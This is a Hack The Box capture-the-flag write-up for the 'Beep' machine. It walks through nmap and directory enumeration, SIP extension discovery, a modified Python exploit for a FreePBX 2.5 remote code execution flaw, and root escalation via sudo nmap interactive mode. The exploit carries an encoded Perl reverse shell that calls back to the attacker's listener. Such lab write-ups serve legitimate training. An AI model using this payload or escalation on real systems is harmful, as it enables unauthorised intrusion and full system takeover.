Hack The Box - Beep Machine Write-up


( I wrote this English version to share my approach with more people. I’m not a native English speaker, so if something sounds weird or the grammar slips, appreciate your understanding. )

beep.png

Intro

After finishing this machine, my take is simple: sometimes it really is just that simple. Don’t fall into the rabbit hole. There are a bunch of ways to poke at it, and this write-up shows exactly how I did mine!

Enumeration

Start with an nmap scan.

┌──(samchen㉿kali)-[~]
└─$ nmap -sC -sV 10.129.229.183    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 00:30 EDT
Nmap scan report for 10.129.229.183
Host is up (0.22s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.129.229.183/
110/tcp   open  pop3?
111/tcp   open  rpcbind    2 (RPC #100000)
143/tcp   open  imap?
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2025-10-08T04:34:30+00:00; 0s from scanner time.
|_http-title: Elastix - Login page
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
993/tcp   open  imaps?
995/tcp   open  pop3s?
3306/tcp  open  mysql?
4445/tcp  open  upnotifyp?
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Host: 127.0.0.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 581.00 seconds


On port 80, you get an Elastix login page.

beep1.png

Tried the usual weak credentials like admin/admin, no luck.


Use dirsearch to enumerate subdirectories.

┌──(samchen㉿kali)-[~]
└─$ dirsearch -u "http://10.129.229.183/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,html,js,txt,conf,sh,cgi,pl
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, html, js, txt, conf, sh, cgi, pl | HTTP method: GET | Threads: 25 | Wordlist size: 220545

Output File: /home/samchen/reports/http_10.129.229.183/__25-10-08_00-07-56.txt

Target: http://10.129.229.183/

[00:07:56] Starting:                                 
...
[00:39:05] 301 -  314B  - /recordings  ->  https://10.129.229.183/recordings
...

The first thing I poked at was /recordings (skipping the rest).


Another login page. Tried admin/admin again, still no.

beep2.png

Noticed the version: FreePBX 2.5


So I went hunting for known vulns on the web and found an RCE lead on Exploit-DB.

beep3.png
beep4.png

Exploitation

I needed to see which extensions exist, so I enumerated them.

┌──(samchen㉿kali)-[~/Desktop]
└─$ svwar -m INVITE -p 5060 -e200-300,600,700,1000-1010 10.129.229.183
WARNING:TakeASip:using an INVITE scan on an endpoint (i.e. SIP phone) may cause it to ring and wake up people in the middle of the night
+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 233       | reqauth        |
+-----------+----------------+

233 responded with auth required, which strongly suggests it exists, so I plugged it into the script.


If you only change the attacker or target IP and the listener port, Python will complain because this machine only supports old TLS and gets blocked. I tweaked the script a bit:

import ssl
import urllib.request

rhost = "10.129.229.183"   # target
lhost = "10.10.14.45"      # UR
lport = 3735               # UR Port
extension = "233"         # extension

# TLS1.0 and skip cert verification
ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

url = (
    f'https://{rhost}/recordings/misc/callme_page.php?action=c'
    f'&callmenum={extension}@from-internal/n%0D%0AApplication:%20system%0D%0A'
    f'Data:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b'
    f'%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22{lhost}%3a{lport}%22%29%3b'
    f'STDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
)

headers = {
    "User-Agent": "Mozilla/5.0",
}

req = urllib.request.Request(url, headers=headers)
with urllib.request.urlopen(req, context=ctx, timeout=10) as resp:
    print(resp.status, resp.reason)
    
# double check my payload
print(url)

After that tweak, the reverse shell fired successfully!

beep5.png
beep6.png

We are running as asterisk


Grabbed user.txt!

beep7.png

Final Privilege Escalation

Check sudo permissions.

bash-3.2$ sudo -l
sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

Wow, basically a gift basket. We can run a bunch of stuff as root without a password.


As usual, check GTFObins (https://gtfobins.github.io/gtfobins/nmap/); it says you can use nmap’s interactive mode for privilege escalation.

bash-3.2$ sudo nmap --interactive
sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
is!sh
sh-3.2# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


Root shell obtained, grabbed root.txt!

beep8.png
beep9.JPG